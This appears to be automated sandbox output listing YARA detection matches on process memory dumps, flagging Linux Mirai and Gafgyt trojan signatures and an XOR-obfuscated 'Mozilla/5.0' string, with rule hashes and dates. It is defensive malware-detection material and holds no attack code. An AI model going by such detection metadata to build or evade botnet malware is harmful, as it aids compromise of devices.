Source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7059.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7300.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6976.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6347.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6873.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7246.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6652.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7382.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6310.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6500.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7422.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7383.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7199.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6516.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7042.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6329.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7030.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6277.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
